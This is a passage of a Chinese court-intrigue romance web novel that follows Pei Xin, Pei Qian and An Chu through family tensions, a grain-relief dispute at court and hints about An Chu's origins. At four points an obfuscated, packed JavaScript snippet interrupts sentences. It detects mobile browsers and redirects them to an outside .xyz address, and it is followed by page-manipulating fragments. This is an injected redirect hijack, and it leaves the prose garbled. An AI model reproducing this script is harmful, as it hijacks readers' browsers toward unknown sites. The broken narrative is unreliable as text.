“我听说过你的一些事,六殿下也很欣赏你,但你执意跟着承影,可我看来,承影这话说得自大了些,是他太想跟着你了。” 裴欣颇有亲和力,索性拉起了安楚的手腕,目光从发梢额头到脚尖,不是打量,更像是一种弥补,她道:“既然如此,好姑娘,你同我说些心里话吧,你想不想嫁给他?” 安楚想了想,认真问道:“做侍妾还是做国公夫人?” “嗯?有区别吗?”裴欣轻笑,点了点头,唇角的漾漾笑意似抹了一丝蜜。 她温和地看着安楚,不自觉地心情也好了起来,不是妖艳俗物,也不是别有用心之徒,这孩子生得合乎眼缘,裴欣也说不上来原因。 裴谦抬眸,语气不咸不淡解释道:“阿姐的意思是,国公府只会娶一位夫人。” 他还抱有一丝侥幸,尽管他明知不可能,还是想赌最后一次。 安楚的黑曜石似的眼扫过姐弟二人的脸,她心中沉着,细细密密的酸窜上四肢,她道:“我只需要一份文书,我要自由,我要堂堂正正地讨生活,还请裴大人成全。” “阿姐!”裴谦神色一凛,意欲打断,他的眼神是在求助。 他没办法再输下去了,那一刻后悔和惧意一起涌上心头——哪怕是假的,哪怕是把她捆在身边也是好的。 裴欣狠狠地剜了他一眼,声辞严厉道:“这儿没你插嘴的份,你闭嘴。” 裴谦紧缩眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781803|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他难得失态,又被自己的阿姐硬生生逼着吞下委屈,心中油煎似的滋味。 她一副看热闹的表情,挑衅意味十足:好弟弟,我这个做姐姐的可谓是仁义至尽。 裴欣将她拉到一边坐下,亲昵地抓紧了安楚的手背:“你是个好姑娘,阿楚,我听承影提过,他心悦你,可惜落花有意流水无情,留不住的终归是留不住。我这个弟弟,确实也不会疼惜人,你能完整地站在此处,我深感欣慰。” “作为长姐,胞弟嫁娶我都得上心,可同为女人,你想走,我不便挽留你。” “我会给你准备文书,你出去大可说是楚国公府出去的,你做什么都是自由的。” 安楚踌躇半晌,几乎要被这热情冲昏头脑,她终于还是开口求情:“裴大人,其实还有一事相求……” “乌金的那个家伙,我会把他交到陛下那里,你有什么冤情,去敲登闻鼓吧。”裴谦毫不犹豫地拒绝,不给对方任何回旋余地。 裴欣知道自己的弟弟什么德行,这会儿准是在耍小性子,温和道:“我这个弟弟是这个性子,楚姑娘多担待。” “你允许你叫我的小名,这样听起来亲密一些。” 裴谦翻了个白眼,一边冷笑一边咕哝道:“小名?哼,裴豆花么?” 这就不得不提起来裴欣的小名,裴欣,字豆蔻,又别名豆花。 裴欣抿唇皱眉,抄起手边的折扇便抛了出去,语气威严:“滚出去,别让我说第二遍。” 也就只有这个弟弟敢在她头上撒野了。 夜色更深,人静的长街,有快马疾驰。四周静悄悄的,入夜的宵禁,百姓们几乎都能遵守。 年轻的白衣文官下马,缰绳紧握在手,马蹄的哒哒声在露重的夜色里更显清脆。 “大人出城何事?有通行手令吗?”守卫士兵疾步跑下哨塔。 “赵裕昌,任形中书院院长一职,手令是楚国公府门下的,现下书院有要事急需处理,望大人放行。”他飞快地答了,从怀里摸出一块玉牌和一碟烫金文书。 士兵咕哝着:“形中书院的院长……怎么还有穿得这么朴素的官儿。这上边的时间都过了,该到有关司补办了……” 一同值守的士兵胳膊肘捅了捅他,低声道:“你管那么多干嘛,这文书也不是普通人能见到的,免得得罪了贵人,别多事了!” 长街空无一人,无寻常百姓的踪迹。 于思宽恍惚间看到了熟人,赶紧从哨岗探头,他熟络道:“赵大人,城外流民多,我送您一步吧。” “于将军,今晚您也当值呢。” 于思宽几步就下了楼,他穿着银色轻甲,站在赵裕昌身旁越发显得厚实壮硕,他拍了拍胸脯介绍道:“城南这一片,我管,城北那一片,王家老二管,这几年都是这么过来的。一看就知道赵大人晚上不喜欢出门,我这还是第一次见你。城南城北的,我见到的世家子弟和朝廷新贵都不在少数,怎的,你也有应酬了?” 赵裕昌如实相告:“国公病了,书院有些急事需要善后。话说回来,大人您这管理确实有疏漏,也不能光凭口头几句话,还有不合规矩的文书就放人过去。” 于思宽不以为意:“文书出入,多半都是走过场,到这个节骨眼上谁管那么多。” 赵裕昌道:“正是因为多事之秋,于将军还是多加防范,免得有心之人在你这儿作文章。” 52.无心风情 裴欣坐上马车,手边是自己得力的女官苏扶楹。 “这个姑娘,她哪是来拜会我的,她是来投靠我的。我那个傻弟弟还以为拿出点诚意,人家姑娘会死心塌地跟他呢。” 苏扶楹垂眸,轻笑道:“国公岂不是很伤心?” 裴欣没空管那么多儿女情长,在知道裴谦倾心的女子后,放心了许多,她道:“让他们自己作去吧,我是管不了那么多的,任由他们胡闹去。” 起初裴欣还担忧着自家弟弟是不是干了欺男霸女的勾当,或是有图谋不轨的人刻意接近。 “大人,现下亥时三刻。” 裴欣接过密信,匆匆两眼看完字条上的内容:“城外布守换班了?” “是。”苏扶楹举着一座琉璃罩着的小巧烛台。 眸光之中,火光跳跃,一时让人分不清,是本色还是倒影。 裴欣将纸条递进火苗里,扭曲的灰烬顷刻虽风飘散,她唇角勾起一丝淡然的笑意:“处理完家事该处理外边那些如狼似虎的酒囊饭袋了,想踩着老娘的肩膀上位,老不死的王家人,看我不……” 苏扶楹对自家上司简单粗暴的语言习以为常,好在这会儿没什么外人,她也不用找台阶。她道:“王大人不是一直……没怎么出面嘛。” 裴欣叉着手,环胸相抱:“他不出面不要紧,他手底下的兵可都没含糊啊,没有王老头儿的授意,谁敢见金敕不拜,让我在郢都碰一鼻子灰,不就是他想看到的么。” 苏扶楹叹了口气,手中也不停歇,连连翻开了几本账簿:“开仓放粮本身就不易,那些商户还等着您安顿好流民后大赚一笔呢,里边世家大族分几成,商户们拿几成,都是商量好的,如此一来怎么可能会轻易交付粮食给您。” 裴欣摇了摇头,胸中一股气无处发泄,她感慨道:“王家那个老东西,看着不出奇,心里头那么多弯弯绕绕,比他那个好侄子还难缠。他这是逼着我割肉,养活他们那些富得流油的大户。” “他们家无人可用了,在朝为官,除了他便是王策云,王策云进无可进,封无可封,自然没办法冒头。国公爷突然被圣上任用,他们难免心中有芥蒂。” 苏扶楹说罢,却不敢继续接下去。 楚国公府不也是遇上这样的情况么,同样是架在火上烤的勋贵之家。 登峰造极后封无可封,好在楚国公告病,赋了闲职,这才多年来相安无事。 “没事,我那个傻弟弟不会睁着眼睛往火坑里跳的。”裴欣似乎一眼看透了苏扶楹内心的忧虑,不咸不淡地补充道。 “也是,国公爷他年少成名,经历过那么多大风大浪,最是知道轻重的。”苏扶楹不自觉地想起那位年轻的、正经穿着朝服的男人。 他是武将,却身着文官长袍,在宫墙中的夹道中举着笏板孤独前行。那条路并不宽敞,甚至可以说是压抑。 面对父亲的败仗,还有皇帝的猜忌,裴谦不得不放弃明光营。为了保住父亲身边那些老人的命,他正式卸了兵权,让明光营变成虚头巴脑的空壳。 明光营与巡防营不同,明光营是郢都编外的正规军,当初跟随裴谦他们父子出征北地,立下无数显赫战功。 楚国公的荣光,随之怦然坠地。 苏扶楹忽然又想起来年初被抄的荆家——荆家为什么活不长久,郢都主张重文抑武,实权被皇家和部分世家瓜分,却又因频发的边境问题不得不暗中操控兵权。 兵权经过无数次稀释,最终就是大家所看到的那样,如同鸡肋。 人人想尝一口,却又害怕这块烫手山芋真落到自己手中。 国公府的小厨房。 送走了裴欣,安楚已经开始熬药了,她为表忠心,万事亲力亲为。 “我们出生入死这么多回,你我之间早该坦诚相待。”裴谦生着闷气,他搬了一张吱呀吱呀的躺椅到厨房门口,慢悠悠地晃着,看着厨房里的人忙前忙后,“你就把我们的关系,定义成一命抵一命?” 安楚瞥了他一眼,让阿敏递来一副长毛绒毯,盖到国公爷的腿上,然后继续忙前忙后。 “你不抵触我,也不讨厌我,我们为什么不能在一起?”裴谦快要被若即若离的冷淡折磨死了。 这种痛是无厘头的,是他裴谦遭报应似的,更是他自找的。 安楚垂下眼眸,她沉默了一瞬,笑意淡淡道:“不抵触只能说明我不讨厌,这并不能说明什么问题。我在天香楼待过一段时间,我听楼里面的老妈妈说,若是不讨厌不抵触,未尝人事的姑娘总会失控的。” “噢,你的意思是,我是在自作多情?” 裴谦默然,最终还是觉得是自己荒谬绝伦。他的真心生来就该受到践踏吗,还是说眼前的这个人根本就是铁石心肠? 想着想着,他心里失衡厉害了,索性也不坐了,站直了身子在热炉前踱步打转。 安楚也不甚理解,国公到底是什么回事?裴谦的种种行迹,在安楚看来已经严重超出她的理解范围了。 一片沉默,厨房里唯有灶台上的药罐发出咕噜咕噜的声响。 “药熬好了,国公,我就不给你送了,您就在这儿喝吧。”安楚打破了诡异的沉寂。 裴谦阴阳怪气接话:“我房里又不是龙潭虎穴,有什么去不得的?” 这话一说出口,裴谦便意识到这话确实不大妥当。 安楚将汤药倒了出来,胆汁似的药散发着热气,传来一阵阵朽木发霉一般的怪味。 “如狼似虎的年纪,国公爷还是得注意身体啊。”安楚也不在意,她举着碗,小巧的兰花白瓷碗抬过眉间,氤氲热气晕染墨色眼眸。 她的身量虽比寻常女子高一些,但裴谦在男人堆里也算是鹤立鸡群,他垂眸端过药碗。 裴谦冷冷哼了一声,端过药碗喝了个一干二净。苦涩的棕色药液在唇齿间生出松香,带着油腻的草木味。回味无穷,让人想吐。 “很难喝?”安楚也皱眉了。 裴谦连连皱眉,将碗搁下后半晌没回过神:“太难喝了,放什么了?” “铁线莲,雪松籽,销骨草。”安楚掰出三根手指头,一板一眼地数起来,“都是有助于静心凝气的草药,而且加的这几种,药理相辅相成,应该……不会有副作用。” 裴谦不可置信道:“应该?” 安楚理直气壮地辩解道:“你这个症状,我也是第一次见,虽说有相似的病例,但是那太久远了,我哪儿记得具体的。” “我可不能死,这个时候死了,你肯定不一定愿意和我同穴。我要好好活着,等着有一天,你能心甘情愿跟我死在一块儿。” “非得要死吗?生命可贵,我更想寿终正寝。”安楚毫不避讳地说出心中所想。 至此,裴谦脆弱的心灵再次受到不可承受之痛。 次日,安楚策马,马蹄声阵阵,在空幽的峡谷中回响。 替国公爷寻药成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787212|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安楚的日常工作。 手中缰绳粗粝坚硬,若是寻常姑娘,手掌柔嫩,定会勒出红痕。当然,安楚也有过这样的经历,那个时候她陪同安伯押送大货,穿梭在夜晚的野林峻山间。 无论多害怕,安伯都不会轻易放过她。 安伯牵起缰绳,扯着辔头,身下的马显得无比温顺:“下来就会被马踩死,我是不会管你的。” 小姑娘孤零零地抱着马脖子,一把鼻涕一把泪:“我娘……我娘不会让我无缘无故死了的!” 安伯也无所谓,小老头儿坏得很:“那就赔你娘十吊铜钱,买你一个丫头片子绰绰有余。” 小姑娘声嘶力竭地反对,她抓着缰绳哭喊:“不行!” 颤颤巍巍的小姑娘终于学会在马背上翻跟头,结果安伯毫不犹豫地扬鞭抽在了马屁股上。 于是小姑娘出师未捷便摔了个狗啃屎,摔得鼻青脸肿也就算了,左手臂也摔骨折了。 安伯牵着小马驹,毫无悔意地说教道:“沉稳,沉稳,小丫头,你不能当一个收敛沉稳的闺女儿么?” 安楚一想起这些,心中滋味千百重叠,痛苦又难舍。 她披着火红的披风,并不厚,是那种丝绒面交杂的手感,致密温暖,将山间之寒风牢牢挡在外面。 徐行溪涧,偶见落花。 花瓣翩翩,从亮堂的一线天飘落。 一具湿软的冰冷身体泡在水里,看不清脸,只见湿重的华衣半解,水和泥冲刷着她的身躯,流水勾勒出她单薄的身形。 安楚赶紧翻身下马,将马拴在岸边,自己直闯闯地朝水边奔去。 红色的披风在水里拖曳,落在澄澈的溪水里,山间寒风如刀,一道一道刻进安楚的骨子间、心坎里。 “姑娘,姑娘。”安楚拍了拍她的脸,探了探鼻息,还有气。 她当机立断从水里把人捞起,身上的衣服吸了水太重,安楚没办法把她扛起来。 连拖带拽拉到了岸边的一棵槐树下,安楚这才看清楚女人的面容。女人的发髻散乱,依稀能辨认出是出嫁女子的发式,脸上的脂粉被冲得聊胜于无,斑驳的粉痕下,露出更加自然的肤色。 目光落下,细细嗅来有一股似有若无的血腥味,安楚察觉手上的黏腻有些异常,是血! 安楚三下五除二地将女人华而不实又累赘的外衣剥干净了。 火折子擦亮,生了一堆火,马在岸边饮水,深林之中偶有脆声鸟鸣。 阴翳投下一片又一片,落在两人身上,光怪陆离,眼前云影天光连成一片,明亮的水色照亮她的眼。 安楚抬手间,看见女人手腕侧殷红的伤痕,是长年累月沉积的暗色,亦或是打娘胎出来就有的痕迹。形状奇特,像一只展翅欲飞的大鸟。 她突然记起来了一件事——自己被山里头那户人家收留的时候,那位老大爷曾经提到过,自己的闺女手腕上有一道红色胎记,像一只凤凰,以后必定大富大贵。 安楚心中滋味复杂,不知这女孩遇到什么麻烦,她例行检查女人的脉搏和其他身体部位,发现她居然有了身孕,安楚心中惊骇掀起千层浪。 这下麻烦了,一大一小,月份还不足,该如何是好。 她将披风搭在火堆上烘干,抛却了女人赘余无用的衣袍,将她裹好了抱在怀里。 马上两人,安楚身量正好挡住了怀里多余的人,她解下腰封,将怀里的人系紧,保证对方不会受到颠簸掉下去。 53.大展身手 檀香袅绕,金丝木梁,床榻用金丝纱幔围着。 绿纱窗,红栅门。 安楚这几天快要被药草熏入味了。 云沧海奉命跟着安楚,阿敏也是寸步不离地侍奉着。也不知道这位姑奶奶上哪儿捡的,还带回来这么大一个姑娘来。 “这姑娘还能活吗?”阿敏悄悄问。 安楚摇了摇头:“只能尽人事听天命了。” 终于,第三日,在袅袅药香味里,女人醒了过来。 “我是到了地府么?黑白无常都这么年轻呢……”女人睁开了眼,艰难地偏过头,她嘴唇苍白,整个人都缺乏人气。 阿敏正端着药碗,一时不知道说什么好。 女人眼角滑落一滴泪水,无声的泪水落到发间。那一滴积攒着疼痛的眼泪在眼角留下深刻的泪痕:“你是……奈何桥上的孟婆吗,你见过我阿爹阿娘吗。” “你叫什么?还记得自己怎么死的吗?”安楚接过碗,坐到床榻跟前,缓缓吹着木匙里的药。 “我不喝……我不想忘了……”女人反应很大,只是身体虚弱,只能依靠着语气不明显的起伏来判断她的情绪。 “我是被害死的,我的爹娘……他们也是被害死的!我不能原谅杀害我们的人!”她猝然起身,一阵天旋地转,所有的疼痛她都不在意了。 伤口崩开,刹那间血流成河。 安楚急忙安抚,急躁地捂住了汹涌的血。她同裴谦查了几日,也算是查出了眉目。 裴谦拖着病体,实在不方便再操劳。于是乎在裴谦的默许下,安楚模仿着国公爷的笔迹,写了一些歌功颂德的青词。 天高皇帝远的明光营更是好办,多歌颂圣德总没错,至于补贴的善款,自然是以圣上的名义发放的。 皇帝还是疼惜裴谦的,知道他病重卧床,也知道了多年来毫无私心地奉献,替皇家收买明光营的人心,心中多少都会萌生出愧疚。 皇帝一愧疚,便会想到加官进爵,或者是大行封赏。 楚国公府这几日忙前忙后,都在列皇帝御赐的礼单。 再便是这位可怜的姑娘,与形中书院门前撞死的老夫妻,更是有着密不可分的血缘关系。 赵裕昌那边顺藤摸瓜地罢黜了好几个贪赃枉法的教谕。 正风气不是一时半会儿的事,死去的人也不会再回来了。 世间许多事情冥冥之中皆有注定,就比如眼前的这个女人。 安楚当初坠落山崖,被一户人家捡去,养了一阵子,想把她献给那户姓冯的人家,一番辗转又回到了郢都。 却不想捡到的女人,恰恰是那对老夫妻的女儿。 当初那对老夫妻从山崖底下救了她,如今换她来就他们的女儿。 “你还活着,姑娘,谁害了你,你便去叫他们偿还,以牙还牙以眼还眼,一点错都没有。”安楚轻抚女人的脊背,这个年龄与她相仿的女人,已经体会过生死的滋味。 某种程度上,她们俩应该惺惺相惜。 安楚抿着下唇,心中一片艰涩的苦楚,难以付诸于口,她轻声道:“就害怕你醒了寻死觅活,你很坚强,姑娘,我很钦佩你。” 她尚且还有气力,伏在安楚的怀里大哭一场。 这几日郢都发生了许多事。 郢都的粮仓走水了,大火被扑灭得很快,前后时间不过半柱香。 率着巡防营赶到的王思闯都看出来了问题的关键——粮仓无粮。 崔王两家原本以为又是一场腥风血雨的恶战,却没想到裴欣修好了台阶。 她暂时对郢都官场的斗争没有太多想法,只想着能有正大光明调粮草的名头。 郢都的粮仓空了,这不是她能关心的问题,但城外继续饿死人却又跟她有关了。 裴欣就等着那些人找台阶下,趁机提出来:“从不远的青州、洛州调粮,马上便能解燃眉之急。” 有人持反对意见:“那青、洛两州的人怎么办?若是今年粮食歉收,今年过冬就不用活了吗?这不是拆了东墙补西墙的干法么?如此一来,来年的难民只会越来越多!” 裴欣也不松口:“城外的难民什么样子,诸位大人可曾见过。先把眼前的难题解了才是最要紧的,青洛两州地处富庶肥沃的江南沿水,水陆发达,即便是今年粮食歉收,再从周边收粮调粮也是便宜的。各位大人可否先关心眼前要死的人,难道非要等到有人揭竿而起才愿意后悔么?到时候花的钱可不是几石粮草能解决的。” 金殿高堂,玉璧生辉。 四下一片寂静。 半晌,反方继续挣扎道:“你这是妇人之仁,毫无总揽全局的气概,我等运筹帷幄……” 裴欣冷哼了两声,默默翻了个白眼:“狗屁的运筹帷幄,一个个拿绳子拴了,全都扔到城外游一圈就知道厉害了,你们倒是吃饱了爱叫唤,油盐不进的,不识人间疾苦。” 没有苏扶楹在,裴欣连装都懒得装了。 “你!你简直不可理喻,楚国公府怎么教出你这样粗鄙的女人。” 裴欣目光沉沉,如火灭之灰烬,冷淡而决绝:“国公府?我从小长在宫里,教养我的可不是国公府,哪一日我弟弟冲撞了您,您在拿楚国公府的由头骂他。” 那一双眸光,霹雳如雷火,如惊弦,让人想起了当年的常德郡主。 “你们难道就不会想想办法么,孝敬一点,补一补窟窿,对诸位爱卿而言,很难吗?” 皇帝的脸色很差,他年纪大了,最厌烦朝堂之上争得聒噪。 九五至尊一开口,底下自然默了,连一根针掉到地上都能听见。 “太子怎么看?”皇帝开了尊口。 孟成则知道,这是一道只要开口就会错的题。 于是他随性道:“儿臣赞同裴大人的做法。” 皇帝垂垂老矣,看着太子不思进取的模样甚是忧心:“什么做法?拆东墙补西墙?” 太子反问:“郢都的粮仓是烧没的嘛?” 这个问题有点像睁着眼往水里跳,众人倒吸一口凉气,生怕把话题往贪墨上引。 “既然一把火烧没了,何必为难裴大人,她接手户部尚书以来,天天翻账簿翻到眼睛都出重影了,如今郢都没粮了,这也成了众所周知的事,再不从别处借粮草,裴大人下朝了该跳护城河了。六弟,你说呢?”太子已经表明了立场。 被点到名的孟询只得硬着头皮附和。 崔世境率先开口:“臣愿意在青州调运十石粮草,供郢都城外难民解燃眉之急。” 皇帝钦赐御旨从两州调粮。 下朝之后,裴欣打算打道回府,不巧迎面碰上了崔世境。 崔世境感慨万千:“裴大人,好魄力啊。” 裴欣礼貌还礼:“崔大人也不赖。” “何乐而不为呢,为圣上解忧,本身就是我们为人臣子该做的。” 崔世境生得颇有特色,他出生在正经的江南人家,地地道道地美人胚子。眉目朗晴秀丽,穿上文官的长袍,更是美得雌雄莫辨。 “那你错了,我不是为圣上解忧,是为朝不保夕的穷人解忧。” 崔世境眉间的戏谑一闪而过,他轻笑道:“那不是一样的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802109|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思么?天下,是皇上的天下是孟家的江山,普天之下莫非王土,百姓自然也是圣上的百姓。” 裴欣不欲与他多说,顺口敷衍道:“你说得很有道理。” “粮仓的火,是你放的吧。”崔世境冷不丁地问道。 裴欣挑眉,眼睛眯成线,狡黠如狐:“你亲眼瞧见了?” 崔世境笑道:“我猜的。” 安楚愿效犬马之劳,自然不会让裴欣亲自去做。 这个小混蛋在试探。 “造谣不需要成本,崔大人毁人清誉,小心我明日向御史陈情,让他们好好参你一本。”说罢,裴欣便潇洒地扬长而去。 王策云看破不说破,从一旁走过,慢悠悠地留下一句话:“敢把手伸进圣上的口袋里,也就只有她有这个胆子了。崔老弟,让你爹别招惹她,看到了么,脾气不怎么好,到时候惹急了,非得咬死你不可。” 崔世境哼着小曲,嘴里念叨道:“世风日下,人心不古,唯小人和女人难养也。” 开仓放粮很顺利,见难民终于不用继续饿死,裴欣松了口气。 好歹没走到山穷水尽的时候,不然她真的要撺掇御史,一封封地写举报信,把不顺眼的豪强全扯进来,让他们贪污的钱全都吐出来。 吃饱饭后,难民的去向又成了问题。 裴欣连夜开拟奏章,写一半越写越不对劲。 偏偏这个时候,皇后又来传唤她。 裴欣轻描淡写地将眼眸没入氤氲的热气里,白瓷盖上凝聚着水珠,一滴一滴滚落,落回青色的茶水里。 不出所料,又是一阵铺天盖地的训斥。 “花儿一般的女孩儿,非要跟着那些糙汉子挣一口饭吃,非要争这口气么?” 裴欣和苏扶楹已经熟稔地跪下了。 “如今你处处冒头,你身为女子,不能发扬贤惠淑德的品质,岂不是有悖常伦。” 户部尚书跪在殿前,一脸生无可恋的表情,很痛苦,却又无能为力。 同为女人,不被理解,这是其一。 其二嘛……皇后娘娘能这么将人召入内廷,百分百是得到了皇帝的授意。 在粮草的这件事上,皇帝对她的处理方式是极其不满意的。 裴欣在死气沉沉的台里待久了,有一种不顾人死活的疲倦,她越想越不舒服,索性不卑不亢道:“皇后娘娘,我身为女子,现在更是为名请命的尚书,他们说,他们想活下去,我一为女子,自当有妇人的仁慈,二为朝官,自当有为人臣子的忠义。” “无可救药。”乐皇后柳眉一竖,皮肤已经开始松弛,皱纹平添岁月的刻记。 她从年轻的时候就是如此,被皇帝保护得极好的美娇娘,从未吃过皇城权斗风雨交加的苦。 皇后一行离去的轿撵浩浩汤汤。 苏扶楹跪在一旁,一起被训得面色惨淡,甚至还有一些瞌睡。 “你这么说话,是会得罪皇后娘娘的。”乐玉檀冷淡又青涩的声音从身后传来。 “贵妃娘娘金安。” “平身吧。” “谢贵妃娘娘。”裴欣愣是没敢动。 她不想给乐玉檀惹麻烦。 宣贵妃却是误解了她的意思,心中的不悦和苦涩交织:“怎的,出了宫,生疏了这么多。” 裴欣嗓音有些沙哑:“今时不同往日,下官处事不利,自当认罚。” 所有的风霜落在她的肩骨上,难免会有些疲乏。 “娘娘金枝玉叶,是贵人。我一介粗人,恐惊扰娘娘。您如今有了身孕,不便走动,还是早些回去吧。” 54.身世之谜 裴欣记得,以前大家好像不是这样的。 小小的姑娘,在开始的时候都是至亲捧在手心里的珍宝。 她那时刚入宫,虽说贵为国公府长女,享受的一切都是按照正二品官制来的。 裴欣入宫是裴仲安对皇权的妥协,他在政事上失势,整个国公府一荣俱荣一损俱损,小小的豆蔻便成了最直白的牺牲品。 她站在皇权中最接近巅峰的位置,迎接最残忍的腥风血雨,有荣光也会有伤痛。起初面对那些资格老的掌事们姑姑们,几乎是寸步难行,无人怜惜她的处境。 孤苦伶仃也是真的,君心难测也是真的。 父亲不得圣心,连带着他那可怜的女儿,一样不受待见。裴豆蔻伴君如伴虎,小小年纪便体会到了如履薄冰的滋味。 但是好在先皇后会庇佑她,是先皇后握着她的手,一笔一画学着账簿算法,教她骑马,教她作诗,教她点滴的人情世故。 为数不多的温情时刻,都是先皇后给予的。 伤病有先皇后喂她汤药,犯错有先皇后替她撑腰。 可是发生了回马桥兵变,先皇后被废了,圣旨未到,人便上吊死了。 谋反,逼宫。 紧接着,宫外传来太子殿下的死讯。 金殿之上,皇帝震怒,华贵的金丝龙袍,锦袖挥扬间,只余下这么一句凉薄无情的话。 “他不是太子了,贬为庶人,朕与他永不相见。” 从那一天开始,一切都不一样了。 “豆蔻,以后就算本宫不在你身边了,我也希望,你会是个勇敢的好姑娘。” “就算无人可信任,也要坚强地走下去。” 裴豆蔻在宏伟高大的朱樱宫门前长跪不起,阴冷的石板路上,人影如魑魅魍魉,徘徊不去。那扇久闭不开的门,像一座压在她心口的大山。 喘不过气,她伸出手,好像能抓住些什么,到头来却发现自己什么也抓不住。 阴谋与权力并相交织,绞入无数生灵性命,最终袒露血淋淋的繁华。 她承受不住灭顶一般的痛苦,一头栽倒在宫门前,不是因为走过的宫人指指点点,也不是老皇帝的视而不见。 裴豆蔻知道,自是人间留不住,她无力改变眼前的一切,在党派斗争面前,她是一只微不足道的蝼蚁。 皇帝不会出面,因为先皇后的死能平息所有的动乱。 她在铺天盖地的暴风骤雨中被迫挺直了腰骨,殉葬和划分界限,她只有这两个选择。 但她知道,先皇后一定不会让她一起去。 豆蔻已经殉给先皇后了,如今的裴欣要走进这片争权夺势的漩涡,在这一片独属于男人的庙堂中争得一份公平。 出宫的路上,苏扶楹昏昏欲睡,她跟着裴欣吃过不少苦头,不过干大事的人嘛,哪有不吃亏上当的,一轮轮来,总有把那些尖酸刻薄的人踩到脚底下的一天。 今天的罚跪,真切是无妄之灾。但现在的苏扶楹已经不是那个遇到事就哭哭啼啼的小姑娘,从善如流成了她的人生准则。 就比如今天的罚跪,罚就罚呗。苏扶楹将尖锐的矛头指向最高位的男人,而绝非将怨气撒在做替罪羊的女人身上。 两人落座,裴欣左侧坐着苏扶楹。她熟稔地翻出了一早收到的账本和一叠叠信笺,左右一摆,供裴欣查看。 “这个小姑娘,真不错。”裴欣看着账本上朱砂抹的赤色痕迹,字迹虽然飘逸但不失风骨。 裴欣如得墨宝,捧在手里,抱在怀前仔细看着:“大小漏洞,她都标注出来了,可见这姑娘是有几分真才实学的。女子单靠美貌,在这个世道难以存活,既然她有心谋差事谋活计,我定是心甘情愿借她银子的。” “裴大人,可是咱们库房也空虚着呢……突然拿这么多银子,账还怎么算?”苏扶楹面露难色。 裴欣眉头凑紧,指尖在马车内狭窄的书案上轻点着:“让承影也想想办法,他少喝点花酒,总能凑出来的。开源节流,势在必行。” 苏扶楹顿了顿,迟疑道:“只是,大人,我还有一事不明……这位小姐是哪家的,以前从未听过,咱们这么轻率地帮一个来路不明的人,以后指不定惹出什么麻烦呢。” 毕竟东家的账房先生兼门客,苏扶楹的说辞是没有偏颇的。 裴欣心中有些怅然,她淡声道:“是承影的心上人,我亲眼见过,虽出身普通,但器宇不凡,我信她。” 苏扶楹撑着腮,转头而说起自己考量的疑虑:“可单单是心上人怎么够呢,男女之情,是这世间脆弱的情愫,万一哪一天反目成仇了……” 情感破碎,那再见就是敌人了。 裴欣与之对视一眼,平静道:“那就不能靠着男女之情维续我们之间的感情,我要她为我所用,就不能单靠着我那个傻兮兮的弟弟。” 她调查过安楚的背景,只是所得甚少,她估摸着裴承影也不想让她了解太多,在调查中肯定也使了绊子,于是也不指望查出有用的东西。 除了出身荆府,她还摸着蛛丝马迹,找回了当初荆岫云的那块被下人典当的玉佩。 很普通的款式,质地却很少见。裴欣摸出藏在衣下的平安锁,不出所想,应该是出自同一块料子。 裴欣的脸色骤然冷了下来,连忙取下平安锁,将两者仔细比对,纹路花饰,均是出自同一刻刀。 苏扶楹目光自然落到裴欣的手心,问:“是旧物?” 那两块温热的玉躺在手心里,裴欣想起了母亲生前的闺中密友,时间太过久远,很多人都不记得了。 母亲虽为郡主,却不是传统意义上,安分待字闺中的贵小姐。正是因为怀揣着一颗江湖心,她认识了许多朋友,北上至呼和兰,南下至江都,一路游走,甚至还在那时结识了相伴一生的爱人…… 那一段过往是另一群风华正茂的人,用鲜活的生命和岁月创造出来的。幕落又幕起,百转轮回,又开始了新的故事。 裴欣有些头疼,故人如流水落花,逐一凋零。回马桥兵变牵扯了太多,不是一朝一夕能说明白的。 “扶楹,接下来的事,我想托你去办。我突然觉得,她跟荆家的关系,不是表面上看到的那样。”裴欣点了点头,将两者拢回宽袖中。 国公府,一派祥和。 楚国公府的建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862013|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 